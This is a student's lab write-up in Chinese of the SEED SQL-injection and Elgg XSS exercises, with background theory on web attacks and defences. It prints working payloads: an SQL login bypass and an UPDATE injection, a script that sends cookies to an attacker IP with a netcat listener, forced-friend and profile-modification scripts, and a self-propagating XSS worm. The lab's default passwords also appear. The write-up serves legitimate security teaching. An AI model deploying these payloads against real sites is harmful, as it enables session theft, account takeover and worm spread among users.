20222811 2022-2023-2 《网络攻防实践》第十周作业

实践十 Web应用程序安全攻防

一、实践内容

1、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

2、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

二、实验原理

1、Web应用程序体系结果及其安全威胁

Web应用程序体系结构

●Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。
●浏览器主要完成数据显示与展示渲染
●服务器主要完成业务计算处理
●浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。

●浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
●Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
●数据库:Web应用存储数据的地方。
●Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:表示层:接受Web客户端的输入并显示结果。
业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。数据层:以数据库或本地文件的形式,提供非易失的信息存储。
●传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

Web应用安全威胁

●针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
●针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
●系统层安全威胁:Web站点的宿主操作系统。
●Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
●Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。

2、Web应用安全攻防技术概述

Web应用信息收集

●内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
●方法
1.手工审查Web应用程序结构与源代码
查看静态和动态生成的页面,主要查看源代码、隐藏信息和动态页面中的页面命名规则等。查看Web服务器的存储目录结构。
查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
查询参数字符串,复用以假冒其他用户。
2.自动下载与镜像Web站点页面:自动化上面的手工审查过程。
3.Google Hacking技术审查与探测Web应用程序:
Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
4.Web应用程序安全评估与漏洞审查
针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

攻击Web服务器软件

流行的Web服务器软件主要分为两类:
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
LAMP:Linux/Apache/MySQL/PHP
Web服务器平台中的安全漏洞
1.数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
2.服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
3.样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
4.源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
5.资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。

攻击Web应用程序

Web应用程序的不安全性
Web应用程序编码质量和测试均有限:安全最薄弱环节。Web应用的复杂性和灵活性进一步恶化了其安全性。
Web应用程序安全威胁类型
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
授权机制的攻击:针对用来确定用户、服务或应用是否具有执
行请求动作必须权限机制的攻击手段。
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
命令执行攻击:在web站点执行远程命令的攻击手段。
信息暴露:获取web站点具体系统信息的攻击手段。
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

攻击Web数据内容

安全敏感数据泄露
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。利用web服务器的上传目录临时中转文件。
在web站点公开的文档资料中包含个人隐私、企业秘密。
网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
**不良信息内容上传:**网站被攻陷后可能成为不良信息的存储和中转仓库。

Web应用安全防范措施

●Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
●Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
●Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
●Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。

3、SQL注入攻击原理

代码注入攻击

代码注入攻击
●Web应用程序的输入验证不完善漏洞
●执行由攻击者所注入的恶意指令和代码
●敏感信息泄露、权限提升或对系统的未授权访问

多样化的代码注入攻击类型
●SQL注入攻击:恶意读取、修改与操纵数据库;
●PHP注入或ASP注入攻击:植入和运行Webshell
●Shell注入攻击:恶意执行操作系统命令的;
●其他多样化注入攻击:LDAP注入、邮件命令注入、SSI注入、XPath注入、XML注入、XQuery注入等

SQL注入攻击原理

●SQL注入漏洞机制
用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、百分号)
没有进行严格类型检查:未判断输入是否预定类型
●表示层:表单或URL输入参数用户输入
●业务逻辑层:通过用户输入参数构造SQL语句不完善的输入验证机制
●数据层:通过数据连接执行SQL语句触发恶意数据库操作

SQL注入攻击例子

●最常见的SQL注入攻击在用户登录这一功能上,下面也是用这个作为例子,方便更好的理解。用户登录SQL语句形如:
SELECT * FROM user WHERE name=‘“+ userName+”’ and password='“+ password +”‘
利用SQL注入攻破用户登录,关键在于在参数name或是password中插入特殊符号,以篡改程序SQL的条件判断。
譬如我们这样输入:用户名:‘1’OR’1’='1密码:'1‘那么程序接收到参数后,SQL语句就变成了SELECT * FROM user WHERE name =‘1’OR^1’='1’and password='1’恒为真,即可骗过程序,在没有账号密码的情况下成功登录。

SQL注入攻击步骤

●发现SQL注入点:存在http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型做,下面展示整型情况。
yyy修改为yyy’造成SQL出错,动态页面返回错误提示信息。
yyy修改为yyy and 1=1不对查询条件造成任何影响,返回正常页面。
yyy修改为yyy and 1=2查询不到任何信息。
●判断后台数据库类型利用数据库服务器的系统变量。
利用数据库服务器的系统表进行判断。
利用SQL注入进行后台口令拆解猜解后台口令表表名。
●猜解字段名。猜解字段值:二分法逼近。口令可能为MD5散列后的密文。
●上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
●本地特权提升利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。

SQL注入攻击工具

●自动化SQL注入漏洞发现
Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
●自动化SQL注入测试
SPIKE Proxy工具:允许使用者对待注入字符串进行定制。SPI Toolkit工具包中的"SQL Injector"工具。

SQL注入攻击防范措施

●使用类型安全(type-safe)的参数编码机制。
●凡是来自外部的用户输入,必须进行完备检查。
●将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
●加强SQL数据库服务器的配置与连接。

4、XXS跨站脚本攻击原理

XXS攻击技术原理

●定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
●XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

持久性XXS漏洞

●漏洞形式:Web应用程序允许用户输入内容并持久保存并显示在网页上。
●攻击方式:攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
●典型案例:留言本/论坛/博客/wiki等。

非持久性XXS例子讲解

●攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
●用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
●网站将会在反馈的欢迎页面中包含恶意客户端脚本。
●攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
●攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。

XXS攻击防范措施

●服务器端防范措施: “限制、拒绝、净化”
输入验证:对用户提交数据进行尽可能严格的验证与过滤。输出净化:HTMLEncode()方法。消除危险的输入点。
●客户端防范措施
提高浏览器访问非受信网站时的安全等级。关闭Cookie功能,或设置Cookie只读。建立安全意识和浏览习惯。

三、实验步骤

1、SEED SQL注入攻击与防御实验

熟悉SQL语句

首先我们熟悉一下mysql的相关操作,首先登录mysql,使用命令mysql -u root -p,用户名是root,密码是seedubuntu
在这里插入图片描述
登录进来我们先用命令show databases,来查看这个数据库中有哪些具体的库
在这里插入图片描述
然后接下来我们指定一个库,我们使用Users
在这里插入图片描述
接下来我们看这个库中有哪些具体的表,使用命令show tables;
在这里插入图片描述
我们可以看到这里有个credential表,我们查看表中所有的数据,使用命令select * from credential
在这里插入图片描述
我们熟悉一下select操作,如果我们想查询alice的所有信息,可以使用命令select * from credential where Name=‘Alice’
在这里插入图片描述

对SELECT语句的SQL注入攻击

接下来我们进行搜索的注入实验,首先登录www.seedlabsqlinject.com网址,就可以得到sql实验平台
在这里插入图片描述
查看代码,发现使用get访问 了unsafe_home.php
在这里插入图片描述
在这里插入图片描述
在/var/www/SQLInjection/unsafe_home.php文件可以看到Admin
在这里插入图片描述
我们构造Admin’#,代入 $input_uname ,这样会使得#后的为注释将不再进行查询,只查询了名字而并没有验证密码。
在这里插入图片描述
我们点login,发现已经登录进来了
在这里插入图片描述

对UPDATE语句的SQL注入攻击

接下来我们要对表中的元素进行修改,修改Admin的工资400000
首先点击Edit Profile
在这里插入图片描述
我们打开unsafe_edit_backend.php查看代码
我们可以看到这里有一个UPDATE语句处, $input_nickname 直接填入了,我们使用一个右引号就相当于结束了这一段, 后面的 ‘, Salary=‘2811’ where name=‘Admin’; #,也就是把Admin的Salary改为1905。
在这里插入图片描述
我们使用’, Salary=‘2811’ where name=‘Admin’; #这条语句看一下效果
在这里插入图片描述
在这里插入图片描述
可以看到已经修改成功,sql注入成功

2、SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息,显示警报窗口

我们首先做一个xss的弹窗,登录网址www.xsslabelgg.com
在这里插入图片描述
这里登录Alice的账户,账号:Alice,密码:seedalice
在这里插入图片描述
在这里插入图片描述

接下来在个人页面当中,点击Edit profile,在Brief description写入 <script> alert('xss');</script>,然后保存
在这里插入图片描述
在这里插入图片描述
可以看到弹出了xss的窗口,xss攻击成功的

弹窗显示cookie信息:将cookie信息显示

我们可以将攻击改的复杂一些,我们将攻击代码改成<script>alert(document.cookie);</script>,document.cookie是当前已登录网页的cookie信息
在这里插入图片描述
保存,我们可以看到网页的cookie信息
在这里插入图片描述

窃取受害者的cookies:将cookie发送给攻击者

接下来第三步要复杂一些,我们要通过反射式的xss来远程获取到cookie的相关信息
首先我们查看一下本机的IP,是192.168.200.5
在这里插入图片描述
我们将写入攻击代码<script>document.write('<img src=http://192.168.200.5:2811?c='+escape(document.cookie) + ' >');</script>
在这里插入图片描述
我们先打开监听,使用命令nc -l 2811 -v进行监听
在这里插入图片描述
保存,看到我们已经拦截了cookie信息
在这里插入图片描述

成为受害者的朋友

我们构造一段代码

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

将这段代码写入Alice的about me中
在这里插入图片描述
切换账号,登录Boby
在这里插入图片描述
访问Alice主页
在这里插入图片描述
发现仅访问了Alice的主页,便添加了Alice好友

修改受害者的信息

我们尝试更改 About me 的内容,并在Web Console的Network中查看到网站用POST的方式提交表单给http://www.xsslabelgg.com/action/profile/edit链接。
在这里插入图片描述
可看到提交数据包的参数中包括 __elgg_token、__elgg_ts、name 和 description等信息
在这里插入图片描述
我们构造攻击代码

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.20222811zj </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

在这里插入图片描述
登录Boby账户,访问Alice主页
在这里插入图片描述
回到Boby主页,可以发现About me内容已被修改
在这里插入图片描述

编写XSS蠕虫

我们根据前面的攻击构造一个具有传染性的xss蠕虫攻击代码,写入Alice的About me中

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack.20221905wjh"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

在这里插入图片描述
登录Boby账户,访问Alice主页
在这里插入图片描述
查看Boby的About me,发现已经被修改
在这里插入图片描述

对抗XSS攻击

登录Admin账户,密码seedelgg,在"Account->administration->plugins,找到HTMLawed,设为 Deactivate 状态
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
再次登录Boby账号,发现XSS蠕虫攻击代码被显示
在这里插入图片描述

四、学习中遇到的问题及解决

问题1:找不到Edit Profile
解决方案:根据同学的提示,通过按住ctrl调节界面大小,最终显示
问题2:代码段复制不进虚拟机
解决方案:在虚拟机内上网页复制,可粘贴

五、实践总结

通过这次实验了解了Web应用程序安全攻防的相关知识,通过实验学习了有关sql注入攻击和xss攻击的知识。在实验中分析网站的代码,构造攻击代码,进一步加深了对所学知识的理解。通过通过实践和查阅资料提高了动手能力和实践能力。但实验中还有许多不太理解的内容,同时还存在许多不足之处,需要继续学习。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值